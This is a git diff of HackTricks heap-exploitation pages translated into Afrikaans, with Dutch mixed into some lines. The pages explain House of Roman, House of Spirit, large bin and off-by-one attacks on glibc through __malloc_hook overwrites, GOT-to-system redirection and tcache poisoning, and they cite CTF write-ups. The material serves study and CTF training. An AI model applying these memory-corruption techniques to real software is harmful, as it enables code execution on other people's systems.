Let daarop dat `__memalign_hook` gewoonlik met `0x7f` begin en nulle voor dit, dan is dit moontlik om dit te vervals as 'n waarde in die `0x70` vinnige bin. Omdat die laaste 4 bits van die adres **willekeurig** is, is daar `2^4=16` moontlikhede vir die waarde om te eindig waarin ons belangstel. Dus word 'n BF-aanval hier uitgevoer sodat die blok eindig soos: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Vir meer inligting oor die res van die bytes, sien die verduideliking in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ voorbeeld](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). As die BF nie werk nie, sal die program net afsluit (begin dus weer totdat dit werk).
(Vir meer inligting oor die res van die bytes, kyk na die verduideliking in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ voorbeeld](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). As die BF nie werk nie, sal die program net afsluit (begin dus weer totdat dit werk).
Dan word 2 mallocs uitgevoer om die 2 aanvanklike vinnige bin-blokke te verwyder en dan word 'n derde toegewys om 'n blok in die **`__malloc_hook:`** te kry.
```c
@ -98,21 +99,21 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Gebruik 'n UAF in hierdie brokkie om `unsorted_bin_ptr->bk` te wysig na die adres van `__malloc_hook` (ons het dit vantevore brute force).
Gebruik 'n UAF in hierdie stuk om `unsorted_bin_ptr->bk` te wys na die adres van `__malloc_hook` (ons het dit vantevore brute force).
{% hint style="danger" %}
Let daarop dat hierdie aanval die ongesorteerde bin beskadig (dus ook klein en groot). Ons kan nou slegs **toewysings van die vinnige bin gebruik** (n meer komplekse program mag ander toewysings doen en laat misluk), en om dit te trigger moet ons **dieselfde grootte toewys of die program sal misluk.**
Let daarop dat hierdie aanval die ongesorteerde bin beskadig (dus ook klein en groot). Ons kan dus slegs **toewysings van die vinnige bin gebruik** (n meer komplekse program mag ander toewysings doen en laat val), en om dit te trigger moet ons **dieselfde grootte toewys anders sal die program val.**
{% endhint %}
Dus, om die skryf van `main_arena + 0x68` na `__malloc_hook` te trigger nadat ons `__malloc_hook` in `unsorted_bin_ptr->bk` ingestel het, moet ons net doen: **`malloc(0x80)`**
Dus, om die skryf van `main_arena + 0x68` na `__malloc_hook` te trigger, voer ons na die instelling van `__malloc_hook` in `unsorted_bin_ptr->bk` net die volgende uit: **`malloc(0x80)`**
### Stap 3: Stel \_\_malloc\_hook na system
In stap een het ons beheer oor 'n brokkie wat `__malloc_hook` bevat (in die veranderlike `malloc_hook_chunk`) en in die tweede stap het ons daarin geslaag om `main_arena + 0x68` daar te skryf.
In stap een het ons beheer oor 'n brokkie wat `__malloc_hook` bevat (in die veranderlike `malloc_hook_chunk`) en in die tweede stap het ons daarin geslaag om `main_arena + 0x68` hierin te skryf.
Nou misbruik ons 'n gedeeltelike oorskrywing in `malloc_hook_chunk` om die libc-adres wat ons daar geskryf het (`main_arena + 0x68`) te gebruik om 'n `one_gadget`-adres te wys.
Hier is waar dit nodig is om **12 bietjies van willekeurigheid te brute force** (meer inligting in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ voorbeeld](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
Hier is waar dit nodig is om **12 bits van willekeurigheid te brute force** (meer inligting in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ voorbeeld](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
Laastens, sodra die korrekte adres oorgeskryf is, **roep `malloc` aan en trigger die `one_gadget`**.
@ -122,16 +123,17 @@ Laastens, sodra die korrekte adres oorgeskryf is, **roep `malloc` aan en trigger
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Huis van Gees
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -77,8 +78,8 @@ return 0;
### Aanval
* Skep valse stukke wat sekuriteitskontroles omseil: jy sal 2 valse stukke nodig hê wat basies die korrekte groottes op die regte plekke aandui
* Op een of ander manier die eerste valse stuk vry te stel sodat dit in die vinnige of tcache bin beland en dan dit toe te ken om daardie adres te oorskryf
* Skep valse stukke wat sekuriteitskontroles omseil: jy sal 2 valse stukke nodig hê wat basies die korrekte groottes op die regte posisies aandui
* Op een of ander manier die eerste valse stuk vry te stel sodat dit in die vinnige of tcache bin beland en dan dit toeken om daardie adres te oorskryf
**Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **is goed om die aanval te verstaan.** Alhoewel hierdie skema van die kode dit redelik goed opsom:
```c
@ -112,27 +113,28 @@ Let wel dat dit nodig is om die tweede blok te skep om sekere gesondheidskontrol
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc infoleak**: Via 'n oorvloei is dit moontlik om 'n wyser te verander om na 'n GOT-adres te wys om 'n libc-adres te lek via die leesaksie van die CTF
* **House of Spirit**: Deur 'n teller wat die aantal "gewere" tel te misbruik, is dit moontlik om 'n vals grootte van die eerste valse blok te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n blok vals te maak en uiteindelik deur 'n oorvloei te misbruik, is dit moontlik om 'n wyser te verander wat vrygestel gaan word sodat ons eerste valse blok vrygestel word. Dan kan ons dit toewys en binne-in gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om hierdie te laat wys na die `scanf`-inskrywing binne die GOT-tabel, sodat ons dit kan oorskryf met die adres na stelsel.\
* **House of Spirit**: Deur 'n teller wat die aantal "gewere" tel te misbruik, is dit moontlik om 'n vals grootte van die eerste valse blok te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n blok vals te maak en uiteindelik deur 'n oorvloei te misbruik, is dit moontlik om 'n wyser te verander wat vrygestel gaan word sodat ons eerste valse blok vrygestel word. Dan kan ons dit toewys en binne-in daarvan gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om hierdie te laat wys na die `scanf`-inskrywing binne die GOT-tabel, sodat ons dit kan oorskryf met die adres na stelsel.\
Volgende keer as `scanf` geroep word, kan ons die inset `"/bin/sh"` stuur en 'n skaal kry.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
* **Glibc-lek**: Ongeïnisialiseerde stapbuffer.
* **Glibc-lek**: Ongeïnisialiseerde stakingsbuffer.
* **House of Spirit**: Ons kan die eerste indeks van 'n globale reeks van hoopwysers wysig. Met 'n enkele byte-wysiging gebruik ons `free` op 'n valse blok binne 'n geldige blok, sodat ons 'n oorvleuelende blokke-situasie kry na toewysing weer. Met dit werk 'n eenvoudige Tcache-vergiftigingsaanval om 'n willekeurige skryfprimitief te kry.
## Verwysings
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Groot Bin Aanval
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
@ -24,21 +25,21 @@ Vir meer inligting oor wat 'n groot bin is, kyk na hierdie bladsy:
Dit is moontlik om 'n goeie voorbeeld te vind in [**how2heap - groot bin aanval**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
Basies kan jy hier sien hoe, in die nuutste "huidige" weergawe van glibc (2.35), dit nie nagegaan word nie: **`P->bk_nextsize`** wat dit moontlik maak om 'n arbitrêre adres te wysig met die waarde van 'n groot bin brokkie as sekere voorwaardes voldoen word.
Basies kan jy hier sien hoe, in die nuutste "huidige" weergawe van glibc (2.35), dit nie nagegaan word nie: **`P->bk_nextsize`** wat dit moontlik maak om 'n arbitrêre adres met die waarde van 'n groot bin brokkie te wysig as sekere voorwaardes voldoen word.
In daardie voorbeeld kan jy die volgende voorwaardes vind:
* 'n Groot brokkie word toegewys
* 'n Groot brokkie kleiner as die eerste een maar in dieselfde indeks word toegewys
* 'n Groot brokkie wat kleiner is as die eerste een maar in dieselfde indeks is, word toegewys
* Dit moet kleiner wees sodat dit eerste in die bin moet gaan
* ( 'n Brokkie om saamvoeging met die boonste brokkie te voorkom word geskep)
* Dan word die eerste groot brokkie vrygestel en 'n nuwe brokkie groter as dit toegewys -> Brokkie1 gaan na die groot bin
* ( 'n brokkie om te voorkom dat dit saamsmelt met die boonste brokkie word geskep)
* Dan word die eerste groot brokkie vrygestel en 'n nuwe brokkie wat groter as dit is, word toegewys -> Brokkie1 gaan na die groot bin
* Dan word die tweede groot brokkie vrygestel
* Nou, die kwesbaarheid: Die aanvaller kan `chunk1->bk_nextsize` wysig na `[target-0x20]`
* Dan word 'n groter brokkie as brokkie 2 toegewys, sodat brokkie2 in die groot bin ingevoeg word en die adres `chunk1->bk_nextsize->fd_nextsize` met die adres van brokkie2 oorskryf
{% hint style="success" %}
Daar is ander potensiële scenario's, die ding is om 'n brokkie by die groot bin te voeg wat **kleiner** is as 'n huidige X brokkie in die bin, sodat dit net voor dit in die bin ingevoeg moet word, en ons moet in staat wees om X se **`bk_nextsize`** te wysig aangesien dit waar die adres van die klein brokkie geskryf sal word.
Daar is ander potensiële scenario's, die ding is om 'n brokkie by die groot bin te voeg wat **kleiner** is as 'n huidige X brokkie in die bin, sodat dit net voor dit in die bin ingevoeg moet word, en ons moet in staat wees om X se **`bk_nextsize`** te wysig omdat dit waar die adres van die kleinere brokkie geskryf sal word.
{% endhint %}
Hierdie is die relevante kode van malloc. Kommentaar is bygevoeg om beter te verstaan hoe die adres oorskryf is:
@ -59,7 +60,7 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
```
{% endcode %}
Dit kan gebruik word om die **`global_max_fast` globale veranderlike** van libc te oorskryf om dan 'n vinnige bin-aanval met groter blokke te benut.
Dit kan gebruik word om die `global_max_fast` globale veranderlike van libc te **oor-skryf** om dan 'n vinnige bin-aanval met groter brokke te benut.
Jy kan 'n ander goeie verduideliking van hierdie aanval vind by [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
@ -70,16 +71,17 @@ Jy kan 'n ander goeie verduideliking van hierdie aanval vind by [**guyinatuxedo*
* Die skryf-primitief is meer kompleks, omdat `global_max_fast` hier nutteloos is.
* FSOP is nodig om die aanval af te handel.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Weg van een oorloop
# Afstand van een oorvloed
{% hint style="success" %}
Leer en oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Basiese Inligting
As 'n aanvaller net toegang het tot 'n 1B-oorloop, kan dit die `grootte`-veld van die volgende blok wysig. Dit maak dit moontlik om te manipuleer watter blokke werklik vrygestel word, wat potensieel 'n blok kan genereer wat 'n ander legitieme blok bevat. Die uitbuiting is soortgelyk aan [dubbele vrystelling](double-free.md) of oorvleuelende blokke.
As 'n aanvaller net toegang het tot 'n 1B-oorvloed, kan dit die `grootte`-veld van die volgende blok wysig. Dit maak dit moontlik om te manipuleer watter blokke eintlik vrygestel word, wat moontlik 'n blok genereer wat 'n ander legitieme blok bevat. Die uitbuiting is soortgelyk aan [dubbele vrystelling](double-free.md) of oorvleuelende blokke.
Daar is 2 tipes van weg van een kwesbaarhede:
Daar is 2 tipes afstand van een kwesbaarhede:
* Willekeurige byte: Hierdie soort maak dit moontlik om daardie byte met enige waarde te oorskryf
* Nul byte (weg-van-nul): Hierdie soort maak dit moontlik om daardie byte slegs met 0x00 te oorskryf
* Nul byte (afstand-van-nul): Hierdie soort maak dit moontlik om daardie byte slegs met 0x00 te oorskryf
* 'n Algemene voorbeeld van hierdie kwesbaarheid kan gesien word in die volgende kode waar die gedrag van `strlen` en `strcpy` inkonsekwent is, wat dit moontlik maak om 'n 0x00 byte aan die begin van die volgende blok in te stel.
* Dit kan uitgebuit word met die [House of Einherjar](house-of-einherjar.md).
* As Tcache gebruik word, kan dit gelei word tot 'n [dubbele vrystelling](double-free.md) situasie.
* As Tcache gebruik word, kan dit uitgebuit word tot 'n [dubbele vrystelling](double-free.md) situasie.
<details>
<summary>Weg-van-nul</summary>
<summary>Afstand-van-nul</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
@ -47,7 +48,7 @@ return 0;
```
</details>
Onder andere kontroles, word nou elke keer as 'n stuk vry is, die vorige grootte vergelyk met die grootte wat in die metadata se stuk geconfigureer is, wat hierdie aanval redelik kompleks maak vanaf weergawe 2.28.
Onder andere kontroles, word nou elke keer as 'n stuk vrygelaat word, die vorige grootte vergelyk met die grootte wat in die metadata se stuk geconfigureer is, wat hierdie aanval redelik kompleks maak vanaf weergawe 2.28.
### Kodevoorbeeld:
@ -74,9 +75,9 @@ Onder andere kontroles, word nou elke keer as 'n stuk vry is, die vorige grootte
### Off-by-null-aanval
* 3 stukke geheue (a, b, c) word een na die ander gereserveer. Dan word die middelste een vrygestel. Die eerste een bevat 'n off by one-oorvloei kwesbaarheid en die aanvaller misbruik dit met 'n 0x00 (as die vorige byte 0x10 was, sou dit die middelste stuk aandui dat dit 0x10 kleiner is as wat dit werklik is).
* Dan word nog 2 kleiner stukke toegewys in die middelste vrygestelde stuk (b), maar aangesien `b + b->grootte` nooit die c-stuk opdateer nie omdat die aangewese adres kleiner is as wat dit behoort te wees.
* Dan word b1 en c vrygestel. Aangesien `c - c->prev_size` steeds na b wys (nou b1), word beide gekonsolideer in een stuk. Tog is b2 nog binne tussen b1 en c.
* 3 stukke geheue (a, b, c) word een na die ander gereserveer. Dan word die middelste een vrygelaat. Die eerste een bevat 'n off by one-oorvloei kwesbaarheid en die aanvaller misbruik dit met 'n 0x00 (as die vorige byte 0x10 was, sou dit die middelste stuk aandui dat dit 0x10 kleiner is as wat dit werklik is).
* Dan word nog 2 kleiner stukke toegewys in die middelste vrygemaakte stuk (b), maar aangesien `b + b->grootte` nooit die c-stuk opdateer nie omdat die aangewese adres kleiner is as wat dit behoort te wees.
* Dan word b1 en c vrygelaat. Aangesien `c - c->prev_size` steeds na b wys (nou b1), word beide gekonsolideer in een stuk. Tog is b2 nog binne in tussen b1 en c.
* Laastens word 'n nuwe malloc uitgevoer wat hierdie geheuegebied herwin wat eintlik b2 gaan bevat, wat die eienaar van die nuwe malloc toelaat om die inhoud van b2 te beheer.
Hierdie beeld verduidelik perfek die aanval:
@ -88,14 +89,14 @@ Hierdie beeld verduidelik perfek die aanval:
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
* Off-by-one as gevolg van `strlen` wat die volgende stuk se `grootte`-veld oorweeg.
* Tcache word gebruik, dus werk algemene off-by-one-aanvalle om 'n willekeurige skryfprimitief met Tcache-vergiftiging te kry.
* Tcache word gebruik, so 'n algemene off-by-one-aanvalle werk om 'n willekeurige skryfprimitief met Tcache-vergiftiging te kry.
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
* Dit is moontlik om 'n off-by-one te misbruik om 'n adres van die heap te lek omdat die byte 0x00 aan die einde van 'n string oorskryf word deur die volgende veld.
* Willekeurige skryf word verkry deur die off-by-one skryf te misbruik om die aanwyser te maak wat na 'n ander plek wys waar 'n vals struktuur met valse aanwysers gebou sal word. Dan is dit moontlik om die aanwyser van hierdie struktuur te volg om willekeurige skryf te verkry.
* Dit is moontlik om 'n off by one te misbruik om 'n adres van die heap te lek omdat die byte 0x00 aan die einde van 'n string oorskryf word deur die volgende veld.
* Willekeurige skryf word verkry deur die off by one-skryf te misbruik om die aanwyser te maak wat na 'n ander plek wys waar 'n vals struktuur met valse aanwysers gebou sal word. Dan is dit moontlik om die aanwyser van hierdie struktuur te volg om willekeurige skryf te verkry.
* Die libc-adres word gelek omdat as die heap uitgebrei word deur mmap te gebruik, het die geheue wat deur mmap toegewys is 'n vaste verskuiwing vanaf libc.
* Laastens word die willekeurige skryf misbruik om in die adres van \_\_free\_hook te skryf met 'n een gadget.
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
* Daar is 'n NULL off-by-one kwesbaarheid in die `getline`-funksie wat gebruikersinvoerlyne lees. Hierdie funksie word gebruik om die "sleutel" van die inhoud te lees en nie die inhoud nie.
* Daar is 'n NULL off by one-kwesbaarheid in die `getline`-funksie wat gebruikersinvoerlyne lees. Hierdie funksie word gebruik om die "sleutel" van die inhoud te lees en nie die inhoud nie.
* In die writeup word 5 aanvanklike stukke geskep:
* stuk1 (0x200)
* stuk2 (0x50)
@ -103,13 +104,13 @@ Hierdie beeld verduidelik perfek die aanval:
* stuk3 (0x1f8)
* stuk4 (0xf0)
* stuk verdediging (0x400) om konsolidasie met die boonste stuk te voorkom
* Dan word stuk 1, 5 en 3 vrygestel, so:
* Dan word stuk 1, 5 en 3 vrygelaat, so:
* ```python
[ 0x200 Stuk 1 (vry) ] [ 0x50 Stuk 2 ] [ 0x68 Stuk 5 (vry) ] [ 0x1f8 Stuk 3 (vry) ] [ 0xf0 Stuk 4 ] [ 0x400 Stuk verdediging ]
```
* Dan word die null off-by-one misbruik deur stuk3 (0x1f8) en die prev\_grootte na `0x4e0` te skryf.
